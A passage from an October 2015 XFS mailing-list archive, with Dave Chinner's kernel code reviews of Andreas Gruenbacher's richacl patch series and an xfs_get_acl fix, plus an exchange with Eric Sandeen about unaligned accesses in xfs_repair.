RICHACE_POSIX_MODE_EXEC) + +/* + * These permissions are always allowed no matter what the acl says. + */ +#define RICHACE_POSIX_ALWAYS_ALLOWED ( \ + RICHACE_SYNCHRONIZE | \ + RICHACE_READ_ATTRIBUTES | \ + RICHACE_READ_ACL) + +/* + * The owner is implicitly granted these permissions under POSIX. + */ +#define RICHACE_POSIX_OWNER_ALLOWED ( \ + RICHACE_WRITE_ATTRIBUTES | \ + RICHACE_WRITE_OWNER | \ + RICHACE_WRITE_ACL) + +#endif /* __UAPI_RICHACL_H */ diff --git a/include/uapi/linux/richacl_xattr.h b/include/uapi/linux/richacl_xattr.h new file mode 100644 index 0000000..6f96bc0 --- /dev/null +++ b/include/uapi/linux/richacl_xattr.h @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __UAPI_RICHACL_XATTR_H +#define __UAPI_RICHACL_XATTR_H + +#include +#include + +struct richace_xattr { + __le16 e_type; + __le16 e_flags; + __le32 e_mask; + __le32 e_id; +}; + +struct richacl_xattr { + unsigned char a_version; + unsigned char a_flags; + __le16 a_count; + __le32 a_owner_mask; + __le32 a_group_mask; + __le32 a_other_mask; +}; + +#define RICHACL_XATTR_MAX_COUNT \ + ((XATTR_SIZE_MAX - sizeof(struct richacl_xattr)) / \ + sizeof(struct richace_xattr)) + +#endif /* __UAPI_RICHACL_XATTR_H */ -- 2.5.0 From david@fromorbit.com Sun Oct 11 18:39:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ED54D7F6B for ; Sun, 11 Oct 2015 18:39:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D9D178F8040 for ; Sun, 11 Oct 2015 16:39:55 -0700 (PDT) X-ASG-Debug-ID: 1444606792-04cbb05fc13dfe0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id CaArk0XUnRXeU2N7 for ; Sun, 11 Oct 2015 16:39:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DuCQAh8hpWPCSkLHlegyaBQoZbojUBAQEBAQEGixuFGoYKgxOCCnkCAgEBAoEcTQEBAQEBAQcBAQEBQT+EJgEBAQQnExwjEAgDFQMJJQ8FJQMHGhOILbwnAQEBBwIgGYYThUWFAgsHhC4BBJYTjRKPJBeMUIR5KjOHagEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 10:07:41 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlQBQ-00066C-U0; Mon, 12 Oct 2015 10:37:40 +1100 Date: Mon, 12 Oct 2015 10:37:40 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org, Andreas Gruenbacher Subject: Re: [PATCH v10 23/46] xfs: Make xfs_set_mode non-static Message-ID: <20151011233740.GZ27164@dastard> X-ASG-Orig-Subj: Re: [PATCH v10 23/46] xfs: Make xfs_set_mode non-static References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-24-git-send-email-andreas.gruenbacher@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444604337-17651-24-git-send-email-andreas.gruenbacher@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444606792 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23402 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 12:58:34AM +0200, Andreas Gruenbacher wrote: > From: Andreas Gruenbacher > > Make xfs_set_mode non-static and move it from xfs_acl.c into xfs_inode.c. > > Signed-off-by: Andreas Gruenbacher ..... > +++ b/fs/xfs/xfs_inode.c > @@ -3587,3 +3587,21 @@ xfs_iflush_int( > corrupt_out: > return -EFSCORRUPTED; > } > + > +int > +xfs_set_mode(struct inode *inode, umode_t mode) > +{ > + int error = 0; > + > + if (mode != inode->i_mode) { > + struct iattr iattr; > + > + iattr.ia_valid = ATTR_MODE | ATTR_CTIME; > + iattr.ia_mode = mode; > + iattr.ia_ctime = current_fs_time(inode->i_sb); > + > + error = xfs_setattr_nonsize(XFS_I(inode), &iattr, XFS_ATTR_NOACL); > + } > + > + return error; > +} Now needs a comment to explain that this function has a special "called only from ACL modification" context associated with it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Oct 11 19:10:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 014397F54 for ; Sun, 11 Oct 2015 19:10:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B9B08304039 for ; Sun, 11 Oct 2015 17:10:42 -0700 (PDT) X-ASG-Debug-ID: 1444608636-04bdf020dda2b00001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id fJyiWFhI0E58TLSd for ; Sun, 11 Oct 2015 17:10:36 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2D2FABF+RpWPCSkLHlegyZUbqkEDAEBAQEBAQaJXVNrhRqGCh2CdoIKeQICAQECgRxNAQEBAQEBBwEBAQFBP0EHg14BAQEDAScTHCMFCwgDFQMJJQ8FJQMHGhOFfIIqB7w5AQEBAQEFAQEBAR4ZhhOFRYUCCweDGoEUBZJUgz+NEoFghDqDJIsPhz6CdB2BaCozg3uDbwEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 10:40:34 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlQhF-00068T-Pw; Mon, 12 Oct 2015 11:10:33 +1100 Date: Mon, 12 Oct 2015 11:10:33 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org, Andreas Gruenbacher Subject: Re: [PATCH v10 24/46] xfs: Add richacl support Message-ID: <20151012001033.GA27164@dastard> X-ASG-Orig-Subj: Re: [PATCH v10 24/46] xfs: Add richacl support References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-25-git-send-email-andreas.gruenbacher@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444604337-17651-25-git-send-email-andreas.gruenbacher@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444608636 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23402 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 12:58:35AM +0200, Andreas Gruenbacher wrote: > From: Andreas Gruenbacher > > The richacl feature flag (mkfs.xfs -m richacl=1) determines whether an xfs > filesystem supports posix acls or richacls. Richacls are stored in > "system.richacl" xattrs. > > If richacls are not compiled into the kernel, mounting richacl filesystems > will fail. > > Signed-off-by: Andreas Gruenbacher > --- > fs/ext4/richacl.h | 1 - > fs/xfs/Kconfig | 11 ++++++ > fs/xfs/Makefile | 1 + > fs/xfs/libxfs/xfs_format.h | 16 +++++++- > fs/xfs/xfs_iops.c | 42 +++++++++++++++----- > fs/xfs/xfs_richacl.c | 97 ++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_richacl.h | 34 ++++++++++++++++ > fs/xfs/xfs_super.c | 14 ++++++- > fs/xfs/xfs_super.h | 9 ++++- > fs/xfs/xfs_xattr.c | 4 ++ > 10 files changed, 215 insertions(+), 14 deletions(-) > create mode 100644 fs/xfs/xfs_richacl.c > create mode 100644 fs/xfs/xfs_richacl.h > > diff --git a/fs/ext4/richacl.h b/fs/ext4/richacl.h > index fc7826f..f26fbdd 100644 > --- a/fs/ext4/richacl.h > +++ b/fs/ext4/richacl.h > @@ -24,7 +24,6 @@ > > extern struct richacl *ext4_get_richacl(struct inode *); > extern int ext4_set_richacl(struct inode *, struct richacl *); > - > extern int ext4_init_richacl(handle_t *, struct inode *, struct inode *); > > #else /* CONFIG_EXT4_FS_RICHACL */ stray hunk. > diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig > index 5d47b4d..05dd312 100644 > --- a/fs/xfs/Kconfig > +++ b/fs/xfs/Kconfig > @@ -52,6 +52,17 @@ config XFS_POSIX_ACL > > If you don't know what Access Control Lists are, say N. > > +config XFS_RICHACL > + bool "XFS Rich Access Control Lists (EXPERIMENTAL)" > + depends on XFS_FS > + select FS_RICHACL > + help > + Richacls are an implementation of NFSv4 ACLs, extended by file masks > + to cleanly integrate into the POSIX file permission model. To learn > + more about them, see http://www.bestbits.at/richacl/. > + > + If you don't know what Richacls are, say N. > + So now we have multiple compile time ACL configs that we have to test. Personally, I see no reason for making either posix or rich acls compile time dependent. How about we just change CONFIG_FS_XFS to have "select FS_POSIX_ACL" and "select FS_RICHACL" unconditionally, and then we can get rid of all the conditional code? > diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h > index 9590a06..8c6da45 100644 > --- a/fs/xfs/libxfs/xfs_format.h > +++ b/fs/xfs/libxfs/xfs_format.h > @@ -461,10 +461,18 @@ xfs_sb_has_ro_compat_feature( > #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ > #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* sparse inode chunks */ > #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* metadata UUID */ > + > +#ifdef CONFIG_XFS_RICHACL > +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls */ > +#else > +#define XFS_SB_FEAT_INCOMPAT_RICHACL 0 > +#endif > + Regardless of whether we build in richacl support, this is wrong. Feature bits are on-disk format definitions, so it will always have this value whether or not the kernel supports the feature. > @@ -722,7 +737,10 @@ xfs_setattr_nonsize( > * Posix ACL code seems to care about this issue either. > */ > if ((mask & ATTR_MODE) && !(flags & XFS_ATTR_NOACL)) { > - error = posix_acl_chmod(inode, inode->i_mode); > + if (XFS_IS_RICHACL(inode)) > + error = richacl_chmod(inode, inode->i_mode); > + else > + error = posix_acl_chmod(inode, inode->i_mode); > if (error) > return error; > } This sort of thing could do with a helper like: static inline int xfs_acl_chmod(struct inode *inode, int mode) { if (IS_RICHACL(inode)) return richacl_chmod(inode, mode); return posix_acl_chmod(inode, mode); } > +#include "xfs.h" > +#include "xfs_format.h" > +#include "xfs_log_format.h" > +#include "xfs_inode.h" > +#include "xfs_attr.h" > + > +#include > + > +struct richacl * > +xfs_get_richacl(struct inode *inode) > +{ ... If we always build in ACL support, this can all go in xfs_acl.c. > + struct xfs_inode *ip = XFS_I(inode); > + struct richacl *acl; > + int size = XATTR_SIZE_MAX; > + void *value; > + int error; > + > + value = kmem_zalloc_large(size, KM_SLEEP); > + if (!value) > + return ERR_PTR(-ENOMEM); > + > + error = xfs_attr_get(ip, XATTR_NAME_RICHACL, value, &size, ATTR_ROOT); > + if (error) { > + /* > + * If the attribute doesn't exist make sure we have a negative > + * cache entry, for any other error assume it is transient and > + * leave the cache entry as ACL_NOT_CACHED. > + */ > + acl = (error == -ENOATTR) ? NULL : ERR_PTR(error); I rather dislike ternaries in code like this - it's hard to read the logic. Initalise acl to NULL, and then this simply becomes: if (error != -ENOATTR) acl = ERR_PTR(error); > + } else > + acl = richacl_from_xattr(&init_user_ns, value, size); > + > + if (!IS_ERR(acl)) > + set_cached_richacl(inode, acl); > + kfree(value); > + > + return acl; > +} > + > +int > +xfs_set_richacl(struct inode *inode, struct richacl *acl) > +{ > + struct xfs_inode *ip = XFS_I(inode); > + umode_t mode = inode->i_mode; > + int error; > + > + if (acl) { > + /* Don't allow acls with unmapped identifiers. */ > + if (richacl_has_unmapped_identifiers(acl)) > + return -EINVAL; > + > + if (richacl_equiv_mode(acl, &mode) == 0) { > + xfs_set_mode(inode, mode); > + acl = NULL; > + } Comment needed here - why does this now seem to accidentally fall through to removing the ACL? Also, why is this in the XFS specific code when it's generic richacl functionality that is being checked? Also, I really dislike the API where passing a NULL acl means to "set this acl" actually means "remove the existing ACL". Why no ->remove_acl method called from the generic code? > +#ifndef __FS_XFS_RICHACL_H > +#define __FS_XFS_RICHACL_H > + > +#include > + > +#ifdef CONFIG_XFS_RICHACL > + > +#define XFS_IS_RICHACL(inode) IS_RICHACL(inode) No. Just use IS_RICHACL() everywhere, and whatever build conditional that uses. > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -1500,7 +1500,19 @@ xfs_fs_fill_super( > sb->s_maxbytes = xfs_max_file_offset(sb->s_blocksize_bits); > sb->s_max_links = XFS_MAXLINK; > sb->s_time_gran = 1; > - set_posix_acl_flag(sb); > + > + if (xfs_sb_version_hasrichacl(&mp->m_sb)) { > +#ifdef CONFIG_XFS_RICHACL > + sb->s_flags |= MS_RICHACL; > +#else > + error = -EOPNOTSUPP; > + goto out_free_sb; > +#endif > + } else { > +#ifdef CONFIG_XFS_POSIX_ACL > + sb->s_flags |= MS_POSIXACL; > +#endif The whole point of having set_posix_acl_flag() is that it keeps the ifdef hackery out of the code. If we are going to keep build time config options for these, then please keep the wrappers to hide this mess... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Oct 11 19:22:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4AE6F7F53 for ; Sun, 11 Oct 2015 19:22:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E9AE0AC006 for ; Sun, 11 Oct 2015 17:22:21 -0700 (PDT) X-ASG-Debug-ID: 1444609339-04bdf020daa2d60001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id mhHFxqTqaCtWb3un for ; Sun, 11 Oct 2015 17:22:19 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DuCQBv/BpWPCSkLHlegyaBQoZbojUBAQEBAQEGixuFGoYKgxOCCnkCAgEBAoEcTQEBAQEBAQcBAQEBQT+EJgEBAQQnExwjEAgDFQMJJQ8FJQMHGhOILbw8AQEBAQYCAR8ZhhOFRYUNB4MagRQBBJYTjRKcC4R5KjOHagEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 10:52:01 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlQsK-00069P-KL; Mon, 12 Oct 2015 11:22:00 +1100 Date: Mon, 12 Oct 2015 11:22:00 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org, Andreas Gruenbacher Subject: Re: [PATCH v10 38/46] richacl: Add support for unmapped identifiers Message-ID: <20151012002200.GB27164@dastard> X-ASG-Orig-Subj: Re: [PATCH v10 38/46] richacl: Add support for unmapped identifiers References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-39-git-send-email-andreas.gruenbacher@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444604337-17651-39-git-send-email-andreas.gruenbacher@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444609339 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23403 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 12:58:49AM +0200, Andreas Gruenbacher wrote: > From: Andreas Gruenbacher > > Some remote file systems like nfs may return user or group identifiers > that cannot be mapped to local uids / gids. Allow to represent such > unmapped identifiers in richacls. (We still cannot represent unmapped > owners and owning groups, however.) > > In the in-memory representation, the richacl is followed by a list of > NUL-terminated strings, with no padding. Entries with an unmapped > identifier have the RICHACE_UNMAPPED_WHO flag set, and ace->e_id.offs > specifies the offset into this list. Multiple entries can refer to the > same offset. > > The xattr representation is similar, but ace->e_id is ignored, and the > list of unmapped identifier strings contains a string for each acl entry > whose RICHACE_UNMAPPED_WHO flag is set. > > Signed-off-by: Andreas Gruenbacher .... > +/** > + * richacl_has_unmapped_identifiers > + * > + * Check if an acl has unmapped identifiers. > + */ > +bool richacl_has_unmapped_identifiers(struct richacl *acl) > +{ > + struct richace *ace; > + > + richacl_for_each_entry(ace, acl) { > + if (ace->e_flags & RICHACE_UNMAPPED_WHO) > + return true; > + } > + return false; > +} > +EXPORT_SYMBOL_GPL(richacl_has_unmapped_identifiers); This was used by the XFS support patch earlier in the series. Bisect problem here... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Oct 11 19:45:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 33AA67F53 for ; Sun, 11 Oct 2015 19:45:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 104828F8049 for ; Sun, 11 Oct 2015 17:45:43 -0700 (PDT) X-ASG-Debug-ID: 1444610741-04bdf020dda3230001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id gEpuM6nacm8qL7rN for ; Sun, 11 Oct 2015 17:45:41 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DkCQBpARtWPCSkLHlegyaBQoZbojUBAQEBAQeLG4UahgqDE4IKeQICAQECgR5NAQEBAQEBBwEBAQFBP4QmAQEBAwE6HCMFCwgDDgoJJQ8FJQMHGhOIJge8PgEBAQEGAQEBAR4ZhhOFRYE9AYNPB4MagRQFhzyOV40SjySMZ4J0DRCBaCozh2oBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 11:15:40 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlRFD-0006BQ-Gc; Mon, 12 Oct 2015 11:45:39 +1100 Date: Mon, 12 Oct 2015 11:45:39 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: Fix error path in xfs_get_acl Message-ID: <20151012004539.GA31326@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: Fix error path in xfs_get_acl References: <1444569791-26719-1-git-send-email-agruenba@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444569791-26719-1-git-send-email-agruenba@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444610741 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23403 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Oct 11, 2015 at 03:23:11PM +0200, Andreas Gruenbacher wrote: > Error codes from xfs_attr_get other than -ENOATTR were not properly > reported. Fix that, and clean the code up somewhat. Test case for xfstests? > In addition, the declaration of struct xfs_inode in xfs_acl.h isn't needed. > > Signed-off-by: Andreas Gruenbacher > --- > fs/xfs/xfs_acl.c | 19 +++++++------------ > fs/xfs/xfs_acl.h | 1 - > 2 files changed, 7 insertions(+), 13 deletions(-) > > diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c > index 4b64167..0f4ee92 100644 > --- a/fs/xfs/xfs_acl.c > +++ b/fs/xfs/xfs_acl.c > @@ -122,7 +122,7 @@ struct posix_acl * > xfs_get_acl(struct inode *inode, int type) > { > struct xfs_inode *ip = XFS_I(inode); > - struct posix_acl *acl = NULL; > + struct posix_acl *acl; > struct xfs_acl *xfs_acl; > unsigned char *ea_name; > int error; > @@ -158,18 +158,13 @@ xfs_get_acl(struct inode *inode, int type) > * cache entry, for any other error assume it is transient and > * leave the cache entry as ACL_NOT_CACHED. > */ > - if (error == -ENOATTR) > - goto out_update_cache; > - goto out; > - } > + acl = (error == -ENOATTR) ? NULL : ERR_PTR(error); AFAICT, this single line here is the bugfix, right? So the entire patch could simply be replaced by: if (error == -ENOATTR) goto out_update_cache; + acl = ERR_PTR(error); goto out; } Or have I missed the missed the fix in all the code rearranging you did? Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Sun Oct 11 20:33:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CFB667F59 for ; Sun, 11 Oct 2015 20:33:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B0FB58F804B for ; Sun, 11 Oct 2015 18:33:47 -0700 (PDT) X-ASG-Debug-ID: 1444613622-04cbb05fbe3ff00001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 53xAI0DMGEubmgzN for ; Sun, 11 Oct 2015 18:33:42 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from [10.0.0.194] (unknown [10.0.0.194]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id ED4A763C3CA2; Sun, 11 Oct 2015 20:33:41 -0500 (CDT) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (1.0) Subject: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses From: Eric Sandeen X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses X-Mailer: iPhone Mail (13A452) In-Reply-To: <20151011222618.GX27164@dastard> Date: Sun, 11 Oct 2015 20:33:41 -0500 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <52FCE688-8D54-4304-A8F4-0621B47E9320@sandeen.net> References: <56170906.5090301@redhat.com> <56170974.5020604@sandeen.net> <20151011222618.GX27164@dastard> To: Dave Chinner X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444613622 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23404 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars On Oct 11, 2015, at 5:26 PM, Dave Chinner wrote: >=20 >> On Thu, Oct 08, 2015 at 07:25:24PM -0500, Eric Sandeen wrote: >> This fixes some unaligned accesses spotted by libubsan in repair. >>=20 >> Signed-off-by: Eric Sandeen >> --- >> repair/dinode.c | 19 +++++++++---------- >> repair/prefetch.c | 4 ++-- >> 2 files changed, 11 insertions(+), 12 deletions(-) >>=20 >> diff --git a/repair/dinode.c b/repair/dinode.c >> index f78f907..44bbb8f 100644 >> --- a/repair/dinode.c >> +++ b/repair/dinode.c >> @@ -960,13 +960,13 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree ro= ot block\n"), >> * btree, we'd do it right here. For now, if there's a >> * problem, we'll bail out and presumably clear the inode. >> */ >> - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { >> + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { >=20 > I don't understand - when are pointers in the BMBT not 64 bit > aligned? The buffers are allocated by memalign to be 64 bit aligned, > and all the internal BMBT structures are 64 bit aligned, too. i.e > the BMBT block header is 24/72 bytes in length (depending on CRCs), > the pointers are 64 bit, and the records are 128 bit. >=20 > So where's the unaligned access coming from? >=20 Hrm, I'm sure I hit it and just took it at face value, sorry - I'll run thro= ugh it again and look more closely... Thanks, Eric > Cheers, 